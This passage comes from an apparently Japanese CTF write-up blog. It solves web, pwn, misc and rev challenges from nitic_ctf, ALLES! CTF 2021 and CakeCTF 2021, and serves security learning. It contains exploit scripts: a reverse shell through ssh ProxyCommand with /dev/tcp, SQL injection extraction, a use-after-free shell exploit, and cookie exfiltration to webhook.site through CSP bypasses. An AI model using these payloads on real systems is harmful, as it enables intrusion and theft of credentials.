CDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"]}'
nitic_ctf{s0_sh0u1d_va11dat3_j50n_sch3m3}

[Web 300] password fixed (13 solves)

passwordに以下のような修正が加えられた。もう先ほどの解法は動かない。

18,23c18,25
<                       c = "0oO"
<               elif input_pass[i] in "l1I":
<                       c = "l1I"
<               else:
<                       c = input_pass[i]
<               if all([ci != password[i] for ci in c]):
---
>                       if password[i] not in "0oO":
>                               return False
>                       continue
>               if input_pass[i] in "l1I":
>                       if password[i] not in "l1I":
>                               return False
>                       continue
>               if input_pass[i] != password[i]:

当てるべきパスワードが Aaaa である場合を考える。['B',[],[],[]] をパスワードとして入力すると、if input_pass[i] != password[i]: return False でループが終了し、if not fuzzy_equal(input_pass, password): return make_response("invalid password", 401) によって401というステータスコードが返ってくる。

一方で、['A',[],[],[]] が入力された場合にはループが終了せず A の次の要素である [] もチェックされるが、ループでまず実行される input_pass[i] in "0oO" において以下のように左辺と右辺の型が違うために例外が発生する。したがって、ステータスコードは500になる。

>>> [] in '0oO'
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: 'in <string>' requires string as left operand, not list

この挙動を利用すると、ステータスコードを観察することで1文字ずつパスワードが特定できる。

import requests
import string

HOST = 'http://34.146.80.178:8002'

known = ''
for _ in range(32):
  for c in string.ascii_letters:
    tmp = list(known + c) + [[]] * (32 - len(known + c))
    r = requests.post(f'{HOST}/flag', json={
      'pass': tmp
    })
    if r.status_code in (200, 500):
      known += c
      break
  print(known)
nitic_ctf{s0_sh0u1d_va11dat3_un1nt3nd3d_s0lut10n}

[Web 500] Is it Shell? (3 solves)

WeTTYというWebブラウザでターミナルを操作できる便利なツールが動いているURLと、以下のようなパッチが与えられた。

wetty2.0.3.patch というパッチのファイル名から使われているWeTTYのバージョンが2.0.3であると推測できるが、GitHubリリースログを見てみるとちょうど2週間ほど前に2.1.1がリリースされており、やや古いことがわかる。

2.0.3から2.1.1までの間でなにか脆弱性が修正されてはいないだろうか。コミットログ変更されたファイルを眺めていると、- から始まるユーザ名を入力できないようにするバグを修正するコミットが見つかった。問題で与えられたパッチは以下からわかるようにクライアント側のコードを修正するものだが、これも - を入力できないようにしている。ヒントだろうか。

--- a/src/client/wetty.ts
+++ b/src/client/wetty.ts
@@ -27,7 +27,7 @@ socket.on('connect', () => {
   const fileDownloader = new FileDownloader();

   term.onData((data: string) => {
-    socket.emit('input', data);
+    socket.emit('input', data.replace(/-/g, ''));
   });
   term.onResize((size: { cols: number; rows: number }) => {
     socket.emit('resize', size);

試しに - から始まるユーザ名を入力してみよう。DevToolsを開いて String.prototype.replace = function () { return this; }; を実行し、-hoge を入力してみると、以下のように ssh コマンドのhelpが表示された。ssh コマンドのオプションのinjectionができるということだろうか。

f:id:st98:20210906013236p:plain

man ssh で有用なオプションがないか眺めていると、-F という設定ファイルを読み込むためのオプションが見つかった。これで適当なファイルを読み込めないだろうか。

     -F configfile
             Specifies an alternative per-user configuration file.  If a configuration file is given on the command line, the system-wide configuration file (/etc/ssh/ssh_config) will be ignored.  The
             default for the per-user configuration file is ~/.ssh/config.

いちいち手でオプションを入力するのも面倒なので、Socket.IOのクライアントで直接入力できるようにしてみる。Socket.IOのサーバに接続している箇所にブレークポイントを置いて、ここに来たタイミングで globalThis.sock = socket を実行すると、sock からいつでもデータを送れるようになった。

f:id:st98:20210906013442p:plain

sock.emit('input', '-F/etc/passwd\x00')-F/etc/passwd\x00 を入力して送信すると、以下のように /etc/passwd を読み込むことができた。

f:id:st98:20210906013915p:plain

ここでしばらく悩んでいたが、あらためて man ssh を読んでいると -o オプションで様々なオプションを設定できることに気づいた。

     -o option
             Can be used to give options in the format used in the configuration file.  This is useful for specifying options for which there is no separate command-line flag.  For full details of the
             options listed below, and their possible values, see ssh_config(5).

有用なオプションがないか man ssh_config で探していると、ProxyCommand といういい感じにOSコマンドが実行できそうなものが見つかった。

     ProxyCommand
             Specifies the command to use to connect to the server.  The command string extends to the end of the line, and is executed using the user's shell ‘exec’ directive to avoid a lingering shell
             process.

             Arguments to ProxyCommand accept the tokens described in the TOKENS section.  The command can be basically anything, and should read from its standard input and write to its standard output.
             It should eventually connect an sshd(8) server running on some machine, or execute sshd -i somewhere.  Host key management will be done using the Hostname of the host being connected (de‐
             faulting to the name typed by the user).  Setting the command to none disables this option entirely.  Note that CheckHostIP is not available for connects with a proxy command.

             This directive is useful in conjunction with nc(1) and its proxy support.  For example, the following directive would connect via an HTTP proxy at 192.0.2.0:

                ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p

8000番ポートで待ち受けた上で -o ProxyCommand=bash -c "bash -i >& /dev/tcp/…/8000 0>&1"\x00 を入力し送信すると、リバースシェルを張ることができた。

ホームディレクトリにあるファイルを見てみる。まず .bash_historyflag@flagserver にログインすればよいらしい。

ubuntu@ip-172-31-45-150:~$ cat .bash_history
cat .bash_history
rm .bash_history 
exit
cat .ssh/known_hosts 
ls
ls
echo "login to flag@flagserver" > note
exit
ls -altr
cat .bash_history 
vim .bash_history 
ls -altr
history
exit
vim .bash_history 
exit

ls -la からの id_rsa_flagid_rsa_flag はおそらく flag@flagserver にログインするための秘密鍵だろう。

ubuntu@ip-172-31-45-150:~$ ls -la
ls -la
total 68
drwxr-xr-x 8 ubuntu ubuntu  4096 Sep  5 07:17 .
drwxr-xr-x 3 root   root    4096 Sep  4 12:02 ..
-r-xr-xr-x 1 ubuntu ubuntu   188 Sep  5 07:17 .bash_history
-rw-r--r-- 1 ubuntu ubuntu   220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 ubuntu ubuntu  3771 Feb 25  2020 .bashrc
drwx------ 4 ubuntu ubuntu  4096 Sep  4 22:42 .cache
drwx------ 3 ubuntu ubuntu  4096 Sep  4 22:42 .config
drwxrwxr-x 4 ubuntu ubuntu  4096 Sep  4 22:40 .npm
-rw-r--r-- 1 ubuntu ubuntu   807 Feb 25  2020 .profile
drwx------ 2 ubuntu ubuntu  4096 Sep  4 22:54 .ssh
-rw-r--r-- 1 ubuntu ubuntu     0 Sep  4 22:25 .sudo_as_admin_successful
drwxr-xr-x 2 ubuntu ubuntu  4096 Sep  4 23:13 .vim
-rw------- 1 ubuntu ubuntu 12126 Sep  5 07:17 .viminfo
-rw-rw-r-- 1 root   root    2601 Sep  4 22:48 id_rsa_flag
-r-xr-xr-x 1 ubuntu ubuntu    25 Sep  5 06:05 note
drwxrwxr-x 9 root   root    4096 Sep  5 07:42 wetty
ubuntu@ip-172-31-45-150:~$ cat id_rsa_flag
cat id_rsa_flag
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA4FabBbtlhJY8b8W/oM2yiyJffK2Zkeri8s02RaN+bOm0d8GPRoVr
3gQ947xGaY520kz5NpQR+PEInd5AdcUSWtxL3ucxdmVlFmaL5BEwHzsatGdCV/tTNguQ7n
…
PE6mgXAGVqlNzf7Ex4VpnlUNABVGABpx1VrBvY4xkLg5646a1nKOrbXqDKYN5k/1kRTJ4V
0iH8v+5I2jxMn7jmS1iuTETxEF5E5CkfWDzJF3Z2jEym3OpYoLXrg3iBV9hZKD4zlzX32Z
0q3hjDFeyq//DFAAAADWFrYW5lQGRlc2t0b3ABAgMEBQ==
-----END OPENSSH PRIVATE KEY-----

これを使ってログインするとフラグが得られた。

$ ssh flag@flagserver -i id_rsa
ssh flag@flagserver -i id_rsa
Pseudo-terminal will not be allocated because stdin is not a terminal.
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-1045-aws x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sun Sep  5 08:09:01 UTC 2021

  System load:  0.0               Processes:             107
  Usage of /:   25.0% of 7.69GB   Users logged in:       0
  Memory usage: 25%               IPv4 address for eth0: 172.31.7.7
  Swap usage:   0%

 * Ubuntu Pro delivers the most comprehensive open source security and
   compliance features.

   https://ubuntu.com/aws/pro

73 updates can be applied immediately.
1 of these updates is a standard security update.
To see these additional updates run: apt list --upgradable


*** System restart required ***

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

ls
flag.txt
cat flag.txt
nitic_ctf{shell_in_the_webshell}

ALLES! CTF 2021 writeup

9/4 - 9/5という日程で開催された。zer0ptsで参加して15位。

他のメンバーが書いたwrite-up:


[Web 104] Sanity Check (498 solves)

You aren't a 🤖, right?

という問題文から robots.txt だなあとわかる。

ALLES!{1_nice_san1ty_ch3k}

[Web 229] Amazing Crypto WAF (23 solves)

Pastebin的なサービス。次の docker-compose.yml からわかるように、表からアクセスできるのは crypter というサービスだけ。これがバックエンドの app とクライアントの間に立つ仲介者として機能するという構成になっている。SQLiteのDBにユーザの情報やらメモやらが保存されているが、その内容はAESで暗号化されている。

version: '3.7'
services:
  app:
    build:
      context: app/

  crypter:
    build:
      context: crypter/
    depends_on:
      - "app"
    ports:
      - 5000:1024

フラグは以下のように flagger というユーザのメモとして保存されている。

import requests
import uuid
from logzero import logger

# create flag user
pw = uuid.uuid4().hex
flag = open('flag', 'rb').read()

logger.info(f'flagger password: {pw}')
s = requests.Session()
r = s.post(f'http://127.0.0.1:1024/registerlogin',
                data={'username': 'flagger','password':pw}, allow_redirects=False)

s.post(f'http://127.0.0.1:1024/add_note',
                data={'body': flag, 'title':'flag'}, allow_redirects=False)

私が問題を確認した時点で、nyankoさんによって app/notesORDER BY 句以降のSQLiができることがわかっていた。

@app.route('/notes')
@login_required
def notes():
    order = request.args.get('order', 'desc')
    notes = query_db(f'select * from notes where user = ? order by timestamp {order}', [g.user['uuid']])
    return render_template('notes.html', user=g.user, notes=notes)

この appnotes には crypter を通してアクセスできるが、crypter は以下のように SELECTUNION がGETパラメータに含まれていることが確認できればそこで処理を打ち切ってしまう。特に WHERE 句で既にレコードがログインしているユーザの投稿だけに絞られている状況では、SQLiでは他のレコードの情報を抽出するのは難しいように思える。

# the WAF is still early in development and only protects a few cases
def waf_param(param):
    MALICIOUS = ['select', 'union', 'alert', 'script', 'sleep', '"', '\'', '<']
    for key in param:
        val = param.get(key, '')
        while val != unquote(val):
            val = unquote(val)

        for evil in MALICIOUS:
            if evil.lower() in val.lower():
                raise Exception('hacker detected')

waf_param を呼び出す側はこんな感じ。

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>', methods=['POST', 'GET'])
def proxy(path):

    # Web Application Firewall
    try:
        waf_param(request.args)
        waf_param(request.form)
    except:
        return 'error'

なんとかできないか、crypter がこのWAFによるフィルター以降で何をしているか見ていく。フィルターの直後で request.query_string からすべてのGETパラメータを、path からリクエストされたパスを取得している。その後 {BACKEND_URL}{path}?{query}requests でHTTPリクエストを送り、HTTPレスポンスに含まれる暗号化された内容の復号などを行った上でHTTPレスポンスを返している。

    # contact backend server
    proxy_request = None
    query = request.query_string.decode()
    headers = {'Cookie': request.headers.get('Cookie', None) }
    if request.method=='GET':
        proxy_request = requests.get(f'{BACKEND_URL}{path}?{query}',
                            headers=headers,
                            allow_redirects=False)
    elif request.method=='POST':
        headers['Content-type'] = request.content_type
        proxy_request = requests.post(f'{BACKEND_URL}{path}?{query}', 
                            data=encrypt_params(request.form),
                            headers=headers,
                            allow_redirects=False)

   if not proxy_request:
        return 'error'

    
    response_data = decrypt_data(proxy_request.content)
    injected_data = inject_ad(response_data)
    resp = make_response(injected_data)
    resp.status = proxy_request.status_code
    if proxy_request.headers.get('Location', None):
        resp.headers['Location'] = proxy_request.headers.get('Location')
    if proxy_request.headers.get('Set-Cookie', None):
        resp.headers['Set-Cookie'] = proxy_request.headers.get('Set-Cookie')
    if proxy_request.headers.get('Content-Type', None):
        resp.content_type = proxy_request.headers.get('Content-Type')

    return resp

実はこの path はパーセントエンコーディングされていないので、例えば /notes%3forder%3dasc%26 にアクセスすると、バックエンドの app に対して http://127.0.0.1:5000/notes?order=asc&? のような形でHTTPリクエストが送られてしまう。crypter のWAFがチェックしているのは request.argsrequest.form のみで、path はGETパラメータでもPOSTで送られたパラメータでもないからWAFをバイパスできてしまう。これで /notes のSQLiが叩けるようになった。

SQLiで情報を抽出する方法を考える。SQLiteの公式ページには SELECT 文のrailroad diagramが載っているが、これを見ると ORDER BY 句の後ろでは LIMIT 句が使え、さらに LIMIT 句では SELECT を含めた式が使えることがわかる。あらかじめ数件のメモを投稿しておいて、LIMIT 句内の件数として unicode(substr(sqlite_version(), 3, 1)) & 15 のように数値として抽出したいデータの一部を与えると、その結果が出力された件数から得られる。

path を使えばWAFをバイパスできるということに気づいたのはCTFの終了間際で、暗号化されたフラグは長いことが予想されたので、4ビットずつデータを抽出する方法を採ることにした。これなら最初に投稿するメモの数は15個で済むし、1文字につき2回のリクエストで抽出できる。

まず1ビットずつの抽出を考えたが、前述の通り抽出したいデータはAESで暗号化されたバイト列をBase64エンコードしたものであるから、きっと長くなるだろうと考えてやめた。7ビットずつ抽出しようとすれば1回のリクエストで1文字を抽出できるが、最初に127個のメモを投稿する必要があるし、なぜかメモの数が増えれば増えるほどメモの投稿に時間がかかるから、結果的に4ビットずつ抽出する場合より遅くなってしまうと考えた。ということで、書いたスクリプトはこんな感じ:

import uuid
import requests
import urllib.parse

def query(sess, payload):
  r = sess.get(URL + 'notes%3forder%3d' + urllib.parse.quote(payload) + '%26')
  return r.text.count('name="uuid"')

#URL = 'http://localhost:5000/'
URL = 'https://7b0000006e9e16b460eef310-amazing-crypto-waf.challenge.master.allesctf.net:31337/'

sess = requests.Session()
sess.post(URL + 'registerlogin', data={
  'username': str(uuid.uuid4()),
  'password': str(uuid.uuid4())
})

print('chotto mattene')
for _ in range(15):
  print(_)
  sess.post(URL + 'add_note', data={
    'body': str(uuid.uuid4()),
    'title': str(uuid.uuid4())
  })
print('okay')

i = 1
res = ''
while True:
  a = query(sess, f"asc limit (select unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) >> 4)")
  b = query(sess, f"asc limit (select (unicode(substr((select body from notes where user in (select uuid from users where username in ('flagger'))), {i}, 1)) | 240) - 240)")
  res += chr((a << 4) | b)
  print(i, res)
  i += 1

実行すると以下のように出力された。無事暗号化されたフラグが抽出できたようだ。

$ python3 solve.py
155 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblB
156 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBp
157 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZ
158 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz
159 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz0
160 ENCRYPT:SmlIQUpxZW1jU1JvZnB4cW1oeHc1QT09OnlER0hBNysrTm5xdTFXKzVOR0hrRER2OTBheUN3R2FrTVliZVBieG9BMHg0ZzBGNm1GREovc1YrVTFvT0dZTT06MFdSKzYwMW42STArZkQ1RnkrblBpZz09

ENCRYPT:… という文字列をユーザ名として登録すると ALLES!{American_scientists_said,_dont_do_WAFs!} とフラグが出力されたが、CTFの終了時刻である13時を1分過ぎており、手遅れだった。

ALLES!{American_scientists_said,_dont_do_WAFs!}

CakeCTF 2021 writeup

8/28 - 8/29という日程で開催された。zer0ptsで参加して1位。やったー。

(9/29追記) 賞品(マグカップ、タオル、コースター)が届いた。かわいい。


[Web 110] MofuMofu Diary (80 solves)

PHP製のもふもふ画像ビュアー。蔵王キツネ村行きたいなあ。

2回目以降のアクセスのために画像のキャッシュがセッションに保存されている。Cookieには、セッションIDのほかに {"data":[{"name":"images\/01.jpg","description":"Half sleeping cat"}],"expiry":1630800898} のようにキャッシュされた画像の情報がJSONで保存されている。

JSONexpiry はキャッシュが破棄される時刻であり、もしそれを過ぎていれば、以下のようにWebサーバはCookieの情報をもとに再度画像を取得してセッションに保存する。

        $images = glob('images/*.jpg');
        $expiry = time() + 60*60*24*7;

        foreach($images as $image) {
            $text = preg_replace('/\\.[^.\\s]{3,4}$/', '.txt', $image);
            $description = trim(file_get_contents($text));
            array_push($results, array(
                'name' => $image,
                'description' => $description
            ));
            $_SESSION[$image] = img2b64($image);
        }

        $cookie = array('data' => $results, 'expiry' => $expiry);
        setcookie('cache', json_encode($cookie), $expiry);

画像の取得先もユーザが操作できるから、/flag.txt も読めてしまう。%7B%22data%22%3A%5B%7B%22name%22%3A%22%2Fflag.txt%22%2C%22description%22%3A%22Half%20sleeping%20cat%22%7D%5D%2C%22expiry%22%3A0%7DCookieに入れてやるとフラグが得られる。

CakeCTF{4n1m4ls_4r3_h0n3st_unl1k3_hum4ns}

[Pwn 113] UAF4b (75 solves)

楽しいUAF。以下のような構造体を悪用してどこかのディレクトリにあるファイルを読み出せばよいらしい。system や構造体のアドレスなど色々教えてくれて優しい。

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;
  1. cowsayfree
  2. そのままメッセージの変更をしようとすると cowsay があったアドレスに書き込まれるので、cowsay->fn_dialoguesystem に書き換え
  3. またメッセージの変更、sh と入力
  4. cowsay->fn_dialog(cowsay->message) を実行

このような手順でシェルが取れる。cat f*; exit でフラグが得られる。

import re
from pwn import *

s = remote('pwn.cakectf.com', 9001)
s.recvuntil(b'<system> = ')
system = int(s.recvline(), 16)
print('system', system)

s.recvuntil(b'> ')
s.sendline(b'3')
s.recvuntil(b'> ')
s.sendline(b'4')
r = s.recvuntil(b'> ')
addr = int(re.findall(r'(0x[0-9a-f]+).+fn_dialogue', r.decode())[0], 16)

payload = b''
payload += p64(system)

s.sendline(b'2')
s.sendline(payload)

s.recvuntil(b'> ')
s.sendline(b'2')
s.sendline(b'sh')

s.recvuntil(b'> ')
s.sendline(b'1')

s.sendline(b'cat f*; exit')
s.interactive()

s.close()
CakeCTF{U_pwn3d_full_pr0t3ct10n_b1n4ry!N0w_u_kn0w_h0w_d4ng3r0us_UAF_1s!_ea2e5f3e}

[Misc 143] Break a leg (44 solves)

LSBに情報が埋め込まれるタイプのステガノ問なんだけれども、data = [getrandbits(8)|((flag >> (i % bitlen)) & 1) for i in range(256 * 256 * 3)] からわかるようにLSBがクリアされないままORで書き込まれてしまっている。

幸いにもフラグの埋め込みは何度も繰り返されているので、フラグの各ビットについて、対応するすべてのピクセルのLSBのうち一度でも 0 が出現していれば 0、そうでなければ 1 とわかる。フラグのビット数はわからないが、暴力解法ブルートフォースで探せばよい。

import itertools
from PIL import Image

def split(s, n):
  return [s[i:i+n] for i in range(0, len(s), n)]

def go(s, n):
  t = split(s, n)[:-8]
  res = []
  for x in range(n):
    c = 0xff
    for v in t:
      c &= v[x]
    res.append(c)
  return [int(''.join(str(b) for b in x[::-1]), 2) for x in split(res, 8)][::-1]

im = Image.open('chall.png')
s = list(itertools.chain.from_iterable(im.getdata()))
t = [x & 1 for x in s]

for x in range(2, 1000):
  res = bytes(go(t, x))
  if b'\x00\x00\x00' in res:
    continue
  print(res)
CakeCTF{1_w1sh_y0u_can_h1t_the_gr0und_runn1ng_fr0m_here;)-d7bcfa74ad4bc}

[Misc 173] telepathy (29 solves)

以下のように / にアクセスするとフラグを返すバックエンドのWebサーバがあるが、

func run() error {
    e := echo.New()
    e.File("/", "public/flag.txt")
    if err := e.Start(":8000"); err != nil {
        return err
    }
    return nil
}

フロントエンドのnginxは \w\{.*\} という正規表現にマッチする文字列を全部 I'm sending the flag to you by telepathy... Got it? に置換してしまう。

    location / {
        # I'm getting the flag with telepathy...
        proxy_pass  http://app:8000/;

        # I will send the flag to you by HyperTextTelePathy, instead of HTTP
        header_filter_by_lua_block { ngx.header.content_length = nil; }
        body_filter_by_lua_block { ngx.arg[1] = ngx.re.gsub(ngx.arg[1], "\\w*\\{.*\\}", "I'm sending the flag to you by telepathy... Got it?\n"); }
    }

バックエンドのサーバがこの正規表現に当てはまらないようにフラグを返すようにすればよい。Range ヘッダ{ より後ろのコンテンツを返すようにさせるとフラグが得られる。

$ curl misc.cakectf.com:18100 -H "Range: bytes=8-"
r4ng3-0r4ng3-r4ng3}

[Cheat 196] Kingtaker (22 solves)

Helltaker的な倉庫番っぽいゲームが与えられる。緑色のyoshikingさんを王冠まで導けば次のステージに進める。岩や壁は通行不可だが、段ボール箱は進行方向に通行不可のオブジェクトがない限り移動させられる。

左下に表示されている数値は残りの移動可能な回数であり、移動したり段ボール箱を押したりすると減少する。

f:id:st98:20210829094110p:plain

最終ステージは明らかに攻略不能なので、カテゴリ名のとおりチートで突破する必要がある。

f:id:st98:20210829094751p:plain

このゲームはGameMaker製で、Web向けにエクスポートされたらしいことがHTMLの gm4html5_div_class というクラス名や GameMaker_Init という関数名から推測できる。ゲームのコードはJavaScriptで記述されているが、javascript-obfuscatorによって難読化されてしまっている。仕方がないので適当なフォーマッタである程度読みやすくしておく。

まず通行できないオブジェクトの上を通行できるようにしたい。それっぽい wall のような文字列を探してみると、以下のようなコードが見つかった。プロパティ名の意味はよくわからないが、値を適当に変えていると、_w20 に変えたときに壁抜けができるようになった。

  }, {
    '_B1': 'obj_wall',
    '_w2': 0x2,
    '_m2': !0x0,
    'parent': -0x64,
    '_t2': [],
    '_u2': []
  }, {

これで通行不可のオブジェクトを無視して移動できるようになったが、先ほどのスクリーンショットで見たように移動回数の問題も解決する必要がある。ステージごとに異なる移動回数が設定されているが、その設定の処理を見つけることはできないだろうか。

第3ステージの移動回数は41回に設定されている。0x29 で検索してみると以下のようなコードが見つかった。ここにブレークポイントを置いてみるとちょうど第3ステージに突入した際に停止した。代入される値を50に変えてみると移動回数も50回に増え、確かにこの処理が移動回数の設定をしていることがわかった。

ついでに _0xcf60a1(0x7bb) の内容を確認すると、これは _n4 という文字列だった。

function _03(_0x4f72bf) {
  var _0xcf60a1 = _0xffd866;
  global[_0xcf60a1(0x7bb)] = 0x29;
}

ほかに global_n4 を参照している箇所を探すと、以下のように最終ステージの移動回数の設定をしているであろう処理が見つかった。0x3 を48に変えてやると、移動回数を48回にまで増やすことができた。

function _13(_0x1dbf6d) {
  global['_n4'] = 0x3;
}

f:id:st98:20210829100335p:plain

このまま王冠に触れるとフラグが表示された。

f:id:st98:20210829100401p:plain

CakeCTF{M4yb3_I_c4n_s3rv3_U_inst34d?}

[Web 196] travelog (22 solves)

ブログ。各投稿の本文でHTML Injectionが可能だが、default-src 'none'; script-src 'nonce-(nonce)' 'unsafe-inline';style-src 'nonce-(nonce)' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/; img-src 'self'; connect-src http: https:; base-uri 'self' というやや厳しめなCSPが有効になっている。

XSS botのコードを確認すると User-Agent にフラグが設定されていることがわかった。つまり外部のURLにアクセスさせるだけでフラグが得られるようだが、残念ながら外部のURLを報告してもXSS botがやって来ることはない。なんとかしてCSPをバイパスする必要がある。

const crawl = async (post_url) => {
    if (!post_url.match(/\/post\/[0-9a-f]{32}\/[0-9a-f]{32}$/)) {
        return;
    }
    const url = base_url + post_url;

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        page.setUserAgent(flag); // [!] steal this flag
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) { }

    await browser.close();
}

設定されているCSPを見ていくと、connect-src ディレクティブの http: https: というガバガバっぷりが気になった。connect-src ディレクティブは a 要素の ping 属性や fetch などで読み込めるURLを制限するものだが、XSS botはリンクをクリックしないし、任意のJavaScriptコードを実行できるわけでもないので悪用はできないように思える。

ちょっと悩んで、link 要素の preload を思い出す。<link rel="preload" href="https://webhook.site/…" as="fetch"> という内容で投稿してXSS botに報告すると、XSS botWebhook.siteにアクセスしてきた。

CakeCTF{CSP_1s_n0t_4_s1lv3r_bull3t!_bang!_bang!}

これはfirst bloodが取れたら賞品がもらえるという問題だったのだけれども、./Vespiaryに15分負けた😭

[Web 204] travelog again (20 solves)

travelogのリベンジ問らしい。今度は以下のようにフラグが User-Agent でなくCookieに格納されるようになった。httpOnlyfalse に設定されているから、JavaScriptコードの実行ができれば document.cookie からアクセスできるはず。

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        await page.setCookie({
            "domain":"challenge:8080",
            "name":"flag",
            "value":flag,
            "sameSite":"Strict",
            "httpOnly":false,
            "secure":false
        });
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

travelogでは使わなかったが、このブログサービスでは以下のようにファイルのアップロードもできる。ファイルのフォーマットは imghdr によってチェックされており、JPEG以外は受け付けないらしい。

@app.route('/upload', methods=['POST'])
def upload():
    if 'user_id' not in session:
        abort(404)

    images = request.files.getlist('images[]')
    for f in images:
        with tempfile.NamedTemporaryFile() as t:
            f.save(t.name)
            f.seek(0)
            if imghdr.what(t.name) != 'jpeg':
                abort(400)

    for f in images:
        name = os.path.basename(f.filename)
        if name == '':
            abort(400)
        else:
            f.save(PATH_IMAGE.format(user_id=session['user_id'], name=name))

    return 'OK'

アップロードしたファイルは以下のように /uploads/<user_id>/<name> から閲覧できる。send_file が使われているようだが、なぜかMIMEタイプが設定されていない。

アップロード処理では拡張子まではチェックされていないし、ファイル名は保持される。JPEGJavaScriptのpolyglotを hoge.js のようなファイル名でアップロードすれば、Content-Type: application/javascript でそのJSファイルが返ってくるはずだ。

@app.route('/uploads/<user_id>/<name>')
def uploads(user_id, name):
    user_id = user_id.lower()
    if re.fullmatch('[0-9a-f]{32}', user_id) is None:
        abort(404)

    return send_file(PATH_IMAGE.format(user_id=user_id, name=name))

imghdr のコードを確認してみると、なんとJPEGであるかどうかは7バイト目から10バイト目が JFIF または Exif かどうかだけでチェックされている。これなら AAAAAAJFIF でもJPEGと判定されてしまう。

さて、これで script 要素で読み込めば実行可能なJSファイルがアップロードできることがわかったが、残念ながらCSPの script-src'nonce-(nonce)' 'unsafe-inline' であり、そのままでは実行できない。なんとかできないだろうか。

ブログの記事ページをよく見てみると、HTML Injectionが可能な箇所より後ろで ../../show_utils.js が読み込まれていることがわかる。base-uri'self' に設定されているから、<base href="/uploads/(ユーザID)/a/b/"> を挿入してやればアップロードした show_utils.js が読み込まれるようにできるはずだ。

    <div class="uk-container">
        (ここに内容が入る)
    </div>

    <hr>
    <div class="uk-grid-row" uk-grid>
        <div>
            <a href="#" class="uk-icon-button" uk-icon="copy" id="share" uk-tooltip="Copy URL to clipboard"></a>
        </div></div>
    <script nonce="69P8FUHI9EoaHuu3gkPa3w==" src="../../show_utils.js"></script>

show_utils.js というファイル名で AAAAAAJFIF=navigator.sendBeacon('https://webhook.site/…',document.cookie) という内容のファイルをアップロードし、<base href="/uploads/(ユーザID)/a/b/"> という内容の記事を作成する。出来上がった記事をXSS botに報告するとフラグが得られた。

CakeCTF{I'll_n3v3r_trust_HTML:angry:}

[Rev 214] ALDRYA (18 solves)

ELFがmaliciousでないかどうかチェックするALDRYAというシステムを作ったらしい。以下のファイルが与えられている。

  • aldrya (与えられたELFがALDRYA形式のシグネチャにマッチしているか確認し、もしマッチしていればそのELFを実行してくれるELF)
  • sample.elf (Hello, Aldrya! と挨拶するだけのELF)
  • sample.aldrya (sample.elfシグネチャ)
  • server.py (サーバで動いているコード、./aldrya (アップロードしたファイル) ./sample.aldrya を実行してくれる)

まずALDRYAがどのようなフォーマットであるか確認する必要がある。IDA Freewarealdrya を投げてみると綺麗にデコンパイルされた。

Pythonに書き直すと大体以下のようなコードになる。ELFを0x100バイトを1チャンクとして区切ってそれぞれ32ビットのハッシュに変換し、それをALDRYA形式のファイルに格納されているハッシュと比較しているようだ。

import struct

def u32(x):
  return struct.unpack('<I', x)[0]

def ror(x, n):
  return ((x >> n) | (x << (32 - n))) & 0xffffffff

def calc_hash(buf):
  res = 0x20210828
  buf = buf.ljust(0x100, b'\x00')
  for i in range(0x100):
    res ^= buf[i]
    res = ror(res, 1)
  return res

class Aldrya(object):
  def __init__(self, elf, aldrya):
    self._fp_elf = open(elf, 'rb')
    self._fp_aldrya = open(aldrya, 'rb')
    self._chunk_num = None

